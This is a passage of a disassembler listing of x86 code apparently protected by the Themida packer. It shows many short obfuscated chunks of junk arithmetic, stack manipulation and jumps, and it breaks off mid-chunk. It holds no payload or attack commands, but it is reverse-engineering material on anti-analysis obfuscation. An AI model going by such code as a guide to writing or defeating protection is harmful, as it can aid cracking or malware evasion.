; ---------------------------------------------------------------------------


loc_56B524:				; CODE XREF: sub_55EDA7+37A7j
		push	4B61h
		mov	[esp+26h+var_26], eax
		push	ebx
		sub	esp, 4
		jmp	loc_5635B4
; ---------------------------------------------------------------------------


loc_56B538:				; CODE XREF: Themida_:00570346j
		push	517h
		jmp	loc_561F14
; ---------------------------------------------------------------------------
		push	[esp+32h+var_32]
		pop	ecx
		push	33E2h
		mov	[esp+36h+var_36], edi
		push	esp
		pop	edi
		push	ebx
		jmp	loc_56A405
; ---------------------------------------------------------------------------


loc_56B556:				; CODE XREF: sub_55EDA7+13790j
		push	edx
		jmp	loc_56B905
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_566906
; ---------------------------------------------------------------------------


loc_56B564:				; CODE XREF: sub_55EDA7+BEj
		xor	ebx, [esp+8+var_8]
		pop	esp
		push	[esp+4+var_4]
		pop	ebp
		push	2DAh
		mov	[esp+8+var_8], ecx
		jmp	loc_571F23
; ---------------------------------------------------------------------------


loc_56B579:				; CODE XREF: sub_55EDA7+F9C8j
		mov	ch, 0D2h
		shr	ch, 4
		neg	ch
		or	ch, 42h
		jmp	loc_56C551
; ---------------------------------------------------------------------------


loc_56B588:				; CODE XREF: sub_55EDA7+F36j
		or	bl, 0A6h
		add	bl, 62h
		sub	dh, bl
		pop	ebx
		jmp	loc_561D8F
; ---------------------------------------------------------------------------


loc_56B596:				; CODE XREF: sub_55EDA7+1E9Aj
		xchg	ebp, [esp-14h+arg_10]
		pop	esp
		sub	esp, 4
		mov	[esp-14h+arg_10], ebx
		sub	esp, 4
		mov	[esp-10h+arg_C], eax
		mov	eax, 1F236C45h
		mov	ebx, eax
		pop	eax
		sub	ebx, 1
		shl	ebx, 4
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		not	eax
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		push	esi
		jmp	loc_56D70E
; ---------------------------------------------------------------------------


loc_56B5D1:				; CODE XREF: sub_55EDA7+BAEBj
		mov	[esp+20h+var_22+2], ebx
		sub	esp, 4
		mov	[esp+24h+var_26+2], eax
		push	43A27407h
		pop	eax
		sub	eax, 0DD8B5259h
		mov	ebx, eax
		pop	eax
		jmp	loc_572610
; ---------------------------------------------------------------------------


loc_56B5ED:				; CODE XREF: sub_55EDA7+51ADj
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+38h+var_3A+2]
		xor	[esp+38h+var_3A+2], ebp
		xor	ebp, [esp+38h+var_3A+2]
		pop	esp
		mov	[esp+34h+var_36+2], ecx
		push	[esp+34h+var_32+2]
		pop	ecx
		pop	[esp+34h+var_36+2]
		mov	esp, [esp+30h+var_32+2]
		push	ecx
		push	ebx
		mov	bh, dl
		mov	ch, bh
		pop	ebx
		jmp	loc_5672EE
; ---------------------------------------------------------------------------


loc_56B61A:				; CODE XREF: sub_55EDA7+11B84j
		push	ebx
		mov	bl, 0B0h
		mov	ah, 8Eh
		xor	ah, bl
		pop	ebx
		sub	bh, ah
		pop	eax
		sub	al, bh
		mov	ebx, [esp+30h+var_32+2]
		jmp	loc_5694EB
; ---------------------------------------------------------------------------


loc_56B62F:				; DATA XREF: Themida_:0055DF74o
		lodsb
		push	ecx
		jmp	loc_55FDAA
; ---------------------------------------------------------------------------


loc_56B636:				; CODE XREF: sub_55EDA7+12149j
		pop	eax
		mov	edx, [esp+30h+var_32+2]
		jmp	loc_56D316
; ---------------------------------------------------------------------------


loc_56B63F:				; CODE XREF: sub_55EDA7+E869j
		add	esi, ebp
		pop	ebp
		jmp	loc_57220F
; ---------------------------------------------------------------------------


loc_56B647:				; CODE XREF: sub_55EDA7+13E1Fj
		pop	esi
		push	eax
		mov	eax, 60C21EBBh
		jmp	loc_5719B5
; ---------------------------------------------------------------------------


loc_56B653:				; CODE XREF: sub_55EDA7+8C86j
		or	cx, di
		pop	edi
		jmp	loc_561B51
; ---------------------------------------------------------------------------


loc_56B65C:				; CODE XREF: sub_55EDA7+1180Fj
		mov	ebx, [esp-24h+arg_20]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp-28h+arg_24]
		xor	[esp-28h+arg_24], ebx
		xor	ebx, [esp-28h+arg_24]
		pop	esp
		mov	[esp-2Ch+arg_28], edi
		push	[esp-2Ch+arg_2C]
		push	[esp-28h+arg_24]
		pop	edi
		jmp	loc_56CB41
; ---------------------------------------------------------------------------


loc_56B688:				; CODE XREF: sub_55EDA7+66ACj
		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		mov	ecx, 13031BBAh
		add	eax, ecx
		pop	ecx
		sub	eax, edi
		sub	eax, 13031BBAh
		sub	eax, 6F512760h
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		push	ecx
		mov	ecx, 1A451C35h
		jmp	loc_565831
; ---------------------------------------------------------------------------


loc_56B6B3:				; CODE XREF: sub_55EDA7+6948j
		push	1FE0h
		mov	[esp+22h+var_22], ebx
		sub	esp, 4
		mov	[esp+26h+var_26], esp
		add	[esp+26h+var_26], 4
		pop	ebx
		push	ebp
		mov	ebp, 1F7026E9h
		shr	ebp, 7
		shr	ebp, 4
		or	ebp, 7A7F54D4h
		sub	ebp, 7A7FFED0h
		add	ebx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		mov	ebp, [esp+26h+var_26]
		add	esp, 4
		xchg	ebx, [esp+22h+var_22]
		pop	esp
		mov	[esp+1Eh+var_1E], ecx
		jmp	loc_55ECBC
; ---------------------------------------------------------------------------


loc_56B701:				; DATA XREF: Themida_:0055DF7Co
		lodsd
		jmp	loc_560575
; ---------------------------------------------------------------------------


loc_56B707:				; CODE XREF: sub_55EDA7+12DE8j
		push	2B643411h
		pop	ecx
		add	ebp, ecx
		jmp	loc_56C31C
; ---------------------------------------------------------------------------


loc_56B714:				; CODE XREF: sub_55EDA7+92FFj
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		mov	eax, edi
		pop	edi
		xor	eax, ecx
		mov	ecx, [esp-18h+arg_14]
		jmp	loc_5723FF
; ---------------------------------------------------------------------------


loc_56B72A:				; CODE XREF: sub_55EDA7+C9FAj
		add	eax, 7B0813FDh
		pop	ecx
		xor	eax, [esp-1Ch+arg_18]
		jmp	loc_569E77
; ---------------------------------------------------------------------------


loc_56B738:				; CODE XREF: sub_55EDA7+12CDFj
		push	edi
		push	edx
		mov	edx, 555D4F9Dh
		or	edx, 3C3B5775h
		jmp	loc_562765
; ---------------------------------------------------------------------------


loc_56B74A:				; CODE XREF: sub_55EDA7+4ABBj
		sub	edx, esi
		pop	esi
		jmp	loc_56BE50
; ---------------------------------------------------------------------------


loc_56B752:				; DATA XREF: Themida_:0055DFC4o
		mov	ax, word ptr [esp+4+var_4]
		jmp	loc_569760
; ---------------------------------------------------------------------------


loc_56B75B:				; CODE XREF: sub_55EDA7+D1CEj
		push	ebx
		jmp	loc_566631
; ---------------------------------------------------------------------------


loc_56B761:				; CODE XREF: sub_55EDA7+5A20j
		push	ecx
		mov	ecx, 3FB101CEh
		jmp	loc_566E78
; ---------------------------------------------------------------------------


loc_56B76C:				; CODE XREF: sub_55EDA7+109BBj
		xor	ebx, [esp+4Ch+var_4E+2]
		xor	[esp+4Ch+var_4E+2], ebx
		jmp	loc_56E9FA
; ---------------------------------------------------------------------------


loc_56B777:				; CODE XREF: sub_55EDA7+FFE5j
		inc	ah
		jmp	loc_56B806
; ---------------------------------------------------------------------------


loc_56B77E:				; CODE XREF: sub_55EDA7+41C4j
		push	edi
		mov	edi, 4
		sub	eax, 524C6AB5h
		sub	eax, edi
		jmp	sub_56D6ED
; ---------------------------------------------------------------------------


loc_56B790:				; CODE XREF: sub_55EDA7+71FEj
		push	bx
		push	ecx
		mov	cl, 5Eh
		jmp	loc_56FF92
; ---------------------------------------------------------------------------


loc_56B79A:				; CODE XREF: sub_55EDA7+11FC1j
		sub	eax, 7B0813FDh
		sub	eax, ecx
		jmp	loc_56B72A
; ---------------------------------------------------------------------------


loc_56B7A6:				; CODE XREF: sub_55EDA7+63C3j
		sub	ax, bp
		sub	ax, 6F2Ch
		pop	bp
		mov	cx, word ptr [esp+5Eh+var_60+2]
		jmp	loc_5640EE
; ---------------------------------------------------------------------------


loc_56B7B8:				; CODE XREF: sub_55EDA7+59D9j
		mov	eax, 626DFBE4h
		sub	esi, eax
		mov	eax, [esp+48h+var_4A+2]
		add	esp, 4
		push	ebp
		mov	ebp, 6AAD66DAh
		jmp	loc_570B62
; ---------------------------------------------------------------------------


loc_56B7D0:				; CODE XREF: sub_55EDA7+10AEFj
		sub	ebx, 9B36259Ch
		mov	ecx, ebx
		pop	ebx
		jmp	loc_564AE6
; ---------------------------------------------------------------------------


loc_56B7DE:				; CODE XREF: sub_55EDA7+38A7j
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	55DDh
		mov	[esp-12h+arg_C+2], esi
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp-0Eh+arg_8+2]
		jmp	loc_5711DA
; ---------------------------------------------------------------------------


loc_56B806:				; CODE XREF: sub_55EDA7+C9D2j
		dec	ah
		jmp	loc_56A36E
; ---------------------------------------------------------------------------


loc_56B80D:				; CODE XREF: sub_55EDA7+8E98j
		add	ebx, esi
		pop	esi
		jmp	loc_560F31
; ---------------------------------------------------------------------------


loc_56B815:				; CODE XREF: sub_55EDA7+11B45j
		mov	esi, ebx
		pop	ebx
		jmp	loc_5626D3
; ---------------------------------------------------------------------------


loc_56B81D:				; CODE XREF: sub_55EDA7+B1C0j
		mov	edi, 4
		jmp	loc_565545
; ---------------------------------------------------------------------------


loc_56B827:				; CODE XREF: sub_55EDA7+8728j
		xor	esi, 84713A1h
		sub	edi, esi
		pop	esi
		push	5074h
		jmp	loc_569A04
; ---------------------------------------------------------------------------


loc_56B83A:				; CODE XREF: sub_55EDA7+13124j
		push	[esp-24h+arg_20]
		jmp	loc_5675CE
; ---------------------------------------------------------------------------


loc_56B842:				; CODE XREF: sub_55EDA7+DA59j
		mov	ecx, [esp-20h+arg_1C]
		jmp	loc_572353
; ---------------------------------------------------------------------------


loc_56B84A:				; CODE XREF: sub_55EDA7+6E48j
		add	ebp, 0F203FE91h
		push	ebp
		jmp	loc_569A8C
; ---------------------------------------------------------------------------


loc_56B856:				; CODE XREF: sub_55EDA7+E0D1j
		push	edx
		not	[esp+1Eh+var_1E]
		jmp	loc_562394
; ---------------------------------------------------------------------------


loc_56B85F:				; CODE XREF: sub_55EDA7+3423j
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp-24h+arg_20]
		xor	[esp-24h+arg_20], edi
		xor	edi, [esp-24h+arg_20]
		pop	esp
		mov	[esp-28h+arg_24], eax
		push	4285h
		jmp	loc_565F09
; ---------------------------------------------------------------------------


loc_56B882:				; CODE XREF: sub_55EDA7+C3E2j
		add	al, dh
		jmp	loc_571276
; ---------------------------------------------------------------------------


loc_56B889:				; DATA XREF: Themida_:0055DF44o
		mov	ax, word ptr [esp-14h+arg_10]
		push	725Ch
		mov	[esp-10h+arg_C], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	sub_56E141
; ---------------------------------------------------------------------------


loc_56B8A1:				; CODE XREF: sub_55EDA7+95E2j
		pop	eax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+22h+var_22]
		pop	eax
		push	149Dh
		mov	[esp+26h+var_26], ebp
		push	6702h
		mov	[esp+2Ah+var_2A], esp
		add	[esp+2Ah+var_2A], 4
		pop	ebp
		push	eax
		push	ebp
		mov	ebp, 0FE439A8h
		push	0F01BC65Ch
		push	[esp+32h+var_32]
		jmp	loc_568664
; ---------------------------------------------------------------------------


loc_56B8D5:				; CODE XREF: sub_55EDA7+12F8Fj
		xchg	eax, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		dec	[esp+36h+var_36]
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56B8E4:				; CODE XREF: sub_55EDA7+1AD7j
		pop	ebp
		add	ecx, 27555B38h
		inc	ecx
		neg	ecx
		push	eax
		mov	eax, 3F961388h
		sub	ecx, eax
		push	[esp+20h+var_22+2]
		pop	eax
		add	esp, 4
		jmp	loc_56AFD6
; ---------------------------------------------------------------------------


loc_56B905:				; CODE XREF: sub_55EDA7+C7B0j
		mov	dh, 0D7h
		neg	dh
		xor	dh, 55h
		mov	ah, dh
		pop	edx
		jmp	loc_56C2F5
; ---------------------------------------------------------------------------
		push	[esp+3Ah+var_3A]
		pop	ecx
		push	edx
		push	esp
		push	[esp+42h+var_42]
		jmp	loc_55E456
; ---------------------------------------------------------------------------


loc_56B922:				; CODE XREF: sub_55EDA7+12DDj
		mov	[esp-1Ch+arg_18], ebp
		push	edx
		mov	edx, 79005B3Ah
		jmp	loc_56939C
; ---------------------------------------------------------------------------


loc_56B930:				; CODE XREF: sub_55EDA7+4EBAj
		push	ecx
		jmp	loc_5612BD
; ---------------------------------------------------------------------------


loc_56B936:				; CODE XREF: sub_55EDA7+42DEj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp+32h+var_32]
		pop	esp
		mov	word ptr [esp+2Eh+var_2E], bx
		dec	byte ptr [esp+2Eh+var_2E+1]
		jmp	loc_57088B
; ---------------------------------------------------------------------------
		mov	eax, [esp+2Eh+var_2E]
		jmp	loc_56A7F7
; ---------------------------------------------------------------------------


loc_56B95A:				; CODE XREF: sub_55EDA7+37D2j
		add	esp, 4
		shl	ebx, 5
		sub	ebx, 9B5C76DCh
		mov	esi, ebx
		pop	ebx
		sub	[esp+2Eh+var_2A], 43DD33BFh
		sub	[esp+2Eh+var_2A], 5B200F9Bh
		jmp	loc_560406
; ---------------------------------------------------------------------------


loc_56B981:				; CODE XREF: sub_55EDA7+8920j
		xchg	edx, esi
		jmp	loc_563E3F
; ---------------------------------------------------------------------------


loc_56B988:				; CODE XREF: sub_55EDA7+3FC8j
		add	ecx, ebx
		sub	ecx, 7F127664h
		push	[esp+12h+var_12]
		pop	ebx
		add	esp, 4
		xchg	ecx, [esp+0Eh+var_E]
		mov	esp, [esp+0Eh+var_E]
		jmp	loc_56E241
; ---------------------------------------------------------------------------


loc_56B9A5:				; CODE XREF: sub_55EDA7+F64Aj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+12h+var_12]
		mov	esp, [esp+12h+var_12]
		mov	[esp+12h+var_12], eax
		mov	eax, 88922EFh
		sub	eax, 0B7ABE070h
		xor	edx, eax
		mov	eax, [esp+12h+var_12]
		jmp	loc_56A1BF
; ---------------------------------------------------------------------------


loc_56B9CE:				; CODE XREF: sub_55EDA7+4F2Cj
		pop	eax
		sub	ebp, 492ED941h
		add	ebx, 4C57503Ch
		sub	ebx, ebp
		sub	ebx, 4C57503Ch
		pop	ebp
		xor	edx, ebx
		pop	ebx
		mov	ebp, [esp-28h+arg_24]
		add	esp, 4
		push	354Ch
		jmp	loc_560AAC
; ---------------------------------------------------------------------------


loc_56B9F7:				; CODE XREF: sub_55EDA7+9214j
		push	edx
		jmp	loc_5692B5
; ---------------------------------------------------------------------------


loc_56B9FD:				; CODE XREF: sub_55EDA7+C076j
		add	ecx, edx
		mov	edx, [esp+22h+var_22]
		add	esp, 4
		jmp	loc_5705BB
; ---------------------------------------------------------------------------


loc_56BA0D:				; CODE XREF: sub_55EDA7+13282j
		push	eax
		mov	eax, 0DC81D88h
		xor	ebp, eax
		pop	eax
		shr	ebp, 3
		push	esi
		mov	esi, 348A7448h
		xor	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp+22h+var_22], esi
		jmp	loc_55FAF5
; ---------------------------------------------------------------------------


loc_56BA2D:				; CODE XREF: sub_55EDA7+8B00j
		btc	[esp+0], ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56BA38:				; DATA XREF: Themida_:0055DF64o
		push	[esp+2+var_4+2]
		pop	ecx
		jmp	loc_572246
; ---------------------------------------------------------------------------


loc_56BA41:				; CODE XREF: sub_55EDA7+11CAAj
		mov	eax, esp
		push	60E3h
		mov	[esp+6+var_8+2], ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp+6+var_8+2]
		jmp	loc_565415
; ---------------------------------------------------------------------------


loc_56BA5A:				; CODE XREF: sub_55EDA7+F88Fj
		xor	ecx, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		pop	[esp+6+var_8+2]
		mov	esp, [esp+2+var_4+2]
		jmp	loc_56A51A
; ---------------------------------------------------------------------------


loc_56BA6B:				; CODE XREF: Themida_:0056D36Fj
		mov	edx, [esp+2+var_4+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5682D4
; ---------------------------------------------------------------------------


loc_56BA7F:				; CODE XREF: sub_55EDA7+3674j
		dec	ecx
		xor	ecx, 73B13A5Ah
		jmp	loc_572A73
; ---------------------------------------------------------------------------


loc_56BA8B:				; CODE XREF: sub_55EDA7+B56Ej
		pop	ebp
		add	ebp, 4
		push	eax
		push	edi
		mov	edi, 4
		mov	eax, edi
		pop	edi
		jmp	loc_56CE13
; ---------------------------------------------------------------------------


loc_56BAA1:				; CODE XREF: sub_55EDA7+A4EFj
		mov	esi, esp
		jmp	loc_564506
sub_55EDA7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56BAA8:				; CODE XREF: sub_55EDA7+7879j
		add	ecx, 15C5C54Bh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_56FD4E
; ---------------------------------------------------------------------------


loc_56BAB6:				; CODE XREF: sub_55EDA7+E5E3j
		xor	ebp, 15AF6CAFh
		xor	edx, ebp
		pop	ebp
		mov	ecx, edx
		pop	edx
		inc	ecx
		jmp	loc_56A63C
; ---------------------------------------------------------------------------


loc_56BAC8:				; CODE XREF: sub_55EDA7+7921j
		add	esp, 4
		pop	ebx
		sub	ebx, 4CF3376Bh
		pop	ebp
		push	2FCFh
		mov	[esp+22h+var_22], ebx
		mov	edx, [esp+22h+var_22]
		jmp	sub_56E91D
; ---------------------------------------------------------------------------


loc_56BAE3:				; CODE XREF: sub_55EDA7+B5D0j
		add	esp, 4
		push	eax
		jmp	loc_566747
; ---------------------------------------------------------------------------


loc_56BAEF:				; CODE XREF: sub_55EDA7+1B9Aj
		sub	edx, 25513C11h
		pop	esi
		jmp	loc_56DA7F
; ---------------------------------------------------------------------------


loc_56BAFB:				; CODE XREF: sub_55EDA7+E21Cj
		pop	ebp
		xor	esi, 7DFA02D8h
		sub	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, 75814797h
		push	eax
		jmp	loc_56D6B9
; ---------------------------------------------------------------------------


loc_56BB11:				; CODE XREF: sub_55EDA7+951Bj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], ecx
		jmp	loc_566BFE
; ---------------------------------------------------------------------------


loc_56BB2B:				; CODE XREF: sub_55EDA7+EBE0j
		mov	edi, 69CD68FEh
		jmp	loc_569621
; ---------------------------------------------------------------------------


loc_56BB35:				; CODE XREF: sub_55EDA7+12963j
		xor	edi, ebx
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		push	edx
		push	esp
		mov	edx, [esp+18h+var_1A+2]
		add	esp, 4
		push	edi
		mov	edi, 20756927h
		or	edi, 2ABA6636h
		or	edi, 55EB043Eh
		and	edi, 6EB16FA5h
		jmp	loc_567FF0
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C6B9


loc_56BB65:				; CODE XREF: sub_56C6B9+2811j
		mov	[esp+0], edx
		push	ecx
		jmp	loc_570EB2
; END OF FUNCTION CHUNK	FOR sub_56C6B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56BB6E:				; CODE XREF: sub_55EDA7+C553j
		mov	[esp+8+var_8], ebp
		push	27A50AD1h
		pop	ebp
		sub	ebp, 240D6E72h
		push	35B5h
		mov	[esp+0Ch+var_E+2], edx
		push	47DAh
		mov	[esp+10h+var_12+2], edi
		mov	edi, 685B6DBBh
		mov	edx, edi
		pop	edi
		shl	edx, 8
		add	edx, 0B33D949Bh
		jmp	loc_5606AB
; ---------------------------------------------------------------------------


loc_56BBA3:				; CODE XREF: sub_55EDA7+B5F4j
		push	[esp+8+var_8]
		pop	ebp
		push	1325h
		mov	[esp+0Ch+var_E+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ch+var_E+2]
		pop	esp
		xor	ebp, 49BE28ADh
		mov	edi, ebp
		jmp	loc_56E64E
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56BBCB:				; CODE XREF: Themida_:0056C336j
		shl	esi, 7
		shl	esi, 4
		jmp	loc_563A4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56BBD6:				; CODE XREF: sub_55EDA7+E664j
		add	edx, ecx
		jmp	loc_56ADDE
; ---------------------------------------------------------------------------


loc_56BBDD:				; CODE XREF: sub_55EDA7+126F4j
		add	esp, 2
		push	eax
		mov	al, 65h
		jmp	loc_55F9CB
; ---------------------------------------------------------------------------


loc_56BBEB:				; CODE XREF: sub_55EDA7+B13Bj
		mov	[esp-0Ch+arg_8], edx
		push	esp
		pop	edx
		push	ebx
		sub	esp, 4
		mov	[esp-4+arg_0], esi
		mov	esi, 7EE318D8h
		dec	esi
		push	ebx
		mov	ebx, 24542495h
		sub	esi, ebx
		pop	ebx
		dec	esi
		jmp	loc_560173
; ---------------------------------------------------------------------------


loc_56BC0C:				; CODE XREF: sub_55EDA7+F395j
		add	ebx, edi
		push	[esp-4+arg_0]
		pop	edi
		push	ecx
		mov	ecx, esp
		jmp	loc_55EDAF
; ---------------------------------------------------------------------------


loc_56BC1A:				; CODE XREF: sub_55EDA7+7C52j
		or	ebp, 4F950B9Ah
		push	esi
		mov	esi, 55050DF9h
		inc	esi
		not	esi
		neg	esi
		shl	esi, 7
		sub	esi, 853BB22h
		jmp	loc_55F7FC
; ---------------------------------------------------------------------------


loc_56BC39:				; CODE XREF: sub_55EDA7+643Cj
		add	edx, eax
		jmp	loc_56FB54
; ---------------------------------------------------------------------------


loc_56BC40:				; CODE XREF: sub_55EDA7+3E81j
		push	eax
		push	esi
		mov	esi, 2A77386Ch
		jmp	loc_55F122
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56BC4C	proc near		; CODE XREF: sub_55EDA7+C562j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_561FD8
sub_56BC4C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56BC5A:				; CODE XREF: sub_55EDA7+EC12j
		add	eax, 4
		jmp	loc_566828
; ---------------------------------------------------------------------------


loc_56BC64:				; CODE XREF: sub_55EDA7+6976j
		pop	esi
		add	ebx, esi
		sub	ebx, 4DF11780h
		pop	esi
		jmp	loc_56D622
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E846


loc_56BC73:				; CODE XREF: sub_55E846+4Cj
		push	edx
		mov	dl, 99h
		not	dl
		or	dl, 5Eh
		add	dl, 0B6h
		xor	bl, dl
		pop	edx
		jmp	loc_566FE0
; END OF FUNCTION CHUNK	FOR sub_55E846
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56BC86:				; CODE XREF: sub_55EDA7+11E6Bj
		imul	cx
		push	edx
		mov	edx, esp
		jmp	loc_56A09E
; ---------------------------------------------------------------------------


loc_56BC91:				; CODE XREF: sub_55EDA7+B282j
		add	esp, 4
		push	ebx
		jmp	loc_56FBE1
; ---------------------------------------------------------------------------


loc_56BC9D:				; CODE XREF: sub_55EDA7+DC7Cj
		pop	edx
		jmp	loc_56C4E2
; ---------------------------------------------------------------------------


loc_56BCA3:				; CODE XREF: sub_55EDA7+5608j
		add	edx, 4
		xchg	edx, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		push	1B6Ah
		mov	[esp-10h+arg_C], ebx
		push	esp
		push	[esp-0Ch+arg_8]
		pop	ebx
		add	esp, 4
		push	ecx
		mov	ecx, 35835A5Ah
		add	ecx, 183B5F73h
		jmp	loc_55E7B6
; ---------------------------------------------------------------------------


loc_56BCD0:				; CODE XREF: sub_55EDA7-842j
		not	ecx
		xor	ecx, 52E50DDFh
		xor	edx, ecx
		pop	ecx
		xor	eax, edx
		pop	edx
		jmp	loc_562952
; ---------------------------------------------------------------------------


loc_56BCE3:				; CODE XREF: sub_55EDA7+F829j
		pop	ebp
		push	ebx
		mov	ebx, 251F618Dh
		add	ebx, 26CA5D44h
		or	ebx, 66757EB7h
		xor	ebx, 2D0C0ADAh
		jmp	loc_55F172
; ---------------------------------------------------------------------------


loc_56BD01:				; CODE XREF: sub_55EDA7+4507j
		mov	[esp-12h+arg_C+2], edi
		mov	edi, esp
		jmp	loc_560A3C
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56BD0B:				; CODE XREF: Themida_:005712DCj
		add	ecx, 4
		push	esi
		push	ebx
		push	ebp
		mov	ebp, 0D86202Ah
		mov	ebx, ebp
		pop	ebp
		mov	esi, 0D86202Ch
		jmp	loc_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56BD26:				; CODE XREF: sub_55EDA7+AB5Fj
		xchg	edx, [esp+1Ch+var_1E+2]
		jmp	loc_56917C
; ---------------------------------------------------------------------------


loc_56BD2E:				; CODE XREF: sub_55EDA7+E18Fj
		pop	ebx
		push	30F5h
		mov	[esp+1Ch+var_1E+2], eax
		mov	eax, 57042946h
		xor	eax, 1B0ED797h
		sub	ebx, eax
		pop	eax
		jmp	loc_56A0F6
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56BD49:				; CODE XREF: Themida_:0056DF08j
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		jmp	loc_56B041
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56BD57:				; CODE XREF: sub_55EDA7+DEF0j
		mov	eax, 4
		jmp	loc_565177
; ---------------------------------------------------------------------------


loc_56BD61:				; CODE XREF: sub_55EDA7+F88j
		mov	eax, 48B276FAh
		dec	eax
		shr	eax, 5
		not	eax
		not	eax
		inc	eax
		sub	eax, 666ED3BBh
		jmp	loc_56CD87
; ---------------------------------------------------------------------------


loc_56BD79:				; CODE XREF: sub_55EDA7-972j
		shl	bh, 8
		sub	esp, 2
		jmp	loc_56694D
; ---------------------------------------------------------------------------


loc_56BD84:				; CODE XREF: sub_55EDA7+12510j
		xor	edx, [esp+16h+var_16]
		xor	[esp+16h+var_16], edx
		xor	edx, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		mov	[esp+16h+var_16], ebp
		mov	ebp, 787237h
		mov	esi, 7C0EA21Dh
		push	edx
		mov	edx, 6AEF2087h
		sub	esi, edx
		pop	edx
		add	esi, ebp
		add	esi, 6AEF2087h
		pop	ebp
		jmp	loc_56C1E5
; ---------------------------------------------------------------------------


loc_56BDB4:				; CODE XREF: sub_55EDA7+210Fj
		mov	[esp+0], edi
		push	[esp-2+arg_0+2]
		push	[esp+2+var_4+2]
		jmp	loc_562DF4
; ---------------------------------------------------------------------------


loc_56BDC3:				; CODE XREF: sub_55EDA7+C87j
		mov	ebx, esi
		jmp	loc_564C7B
; ---------------------------------------------------------------------------


loc_56BDCA:				; CODE XREF: sub_55EDA7+10FFBj
		add	esp, 4
		add	esi, 4
		jmp	loc_55FFB4
; ---------------------------------------------------------------------------


loc_56BDD8:				; CODE XREF: sub_55EDA7+F36Cj
		mov	ebx, eax
		pop	eax
		add	eax, ebx
		pop	ebx
		push	75F0h
		jmp	loc_562413
; ---------------------------------------------------------------------------


loc_56BDE8:				; CODE XREF: sub_55EDA7+8A20j
		not	ebp
		push	eax
		mov	eax, 536A39EBh
		and	eax, 252230A2h
		inc	eax
		add	eax, 28B5FE5Ch
		jmp	loc_5608A1
; ---------------------------------------------------------------------------


loc_56BE00:				; CODE XREF: sub_55EDA7+9A5Aj
		mov	eax, 24h
		sub	eax, 20B26645h
		add	eax, 4B0B1ABCh
		add	eax, edi
		sub	eax, 4B0B1ABCh
		push	11AAh
		mov	[esp+28h+var_2A+2], edi
		mov	edi, 90001BAh
		add	edi, 21F15E04h
		add	edi, 2FAB6763h
		jmp	loc_5709CC
; ---------------------------------------------------------------------------


loc_56BE34:				; CODE XREF: sub_55EDA7+44BFj
		sub	esi, 4
		xchg	esi, [esp-0Eh+arg_8+2]
		mov	esp, [esp-0Eh+arg_8+2]
		mov	[esp-0Eh+arg_8+2], edx
		push	esp
		jmp	loc_55F51A
; ---------------------------------------------------------------------------


loc_56BE49:				; CODE XREF: sub_55EDA7-A20j
		xor	ebx, edx
		jmp	loc_564965
; ---------------------------------------------------------------------------


loc_56BE50:				; CODE XREF: sub_55EDA7+C9A6j
		add	edi, 2C3D1B68h
		jmp	loc_571D86
; ---------------------------------------------------------------------------


loc_56BE5B:				; CODE XREF: sub_55EDA7+FE9j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
